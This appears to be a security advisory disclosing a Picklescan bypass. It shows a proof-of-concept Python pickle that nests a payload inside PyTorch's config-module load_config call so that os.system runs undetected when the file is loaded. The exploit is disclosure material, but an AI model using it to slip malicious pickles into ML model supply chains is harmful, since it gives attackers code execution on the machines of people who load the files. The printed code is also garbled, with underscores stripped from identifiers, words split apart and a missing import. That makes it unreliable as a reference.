Using torch.utils. config module.load config function, which is a pytorch library function to execute remote pickle file.

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the torch.utils. config module.load config function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.

import pickle
from torch.utils. config module import ConfigModule

class Evil:
  def  reduce (self):
    return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
  def  reduce (self):
    evil payload = pickle.dumps(Evil())
    return ConfigModule.load config, (None, evil payload)

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

https://github.com/FredericDT https://github.com/Qhaoduoyu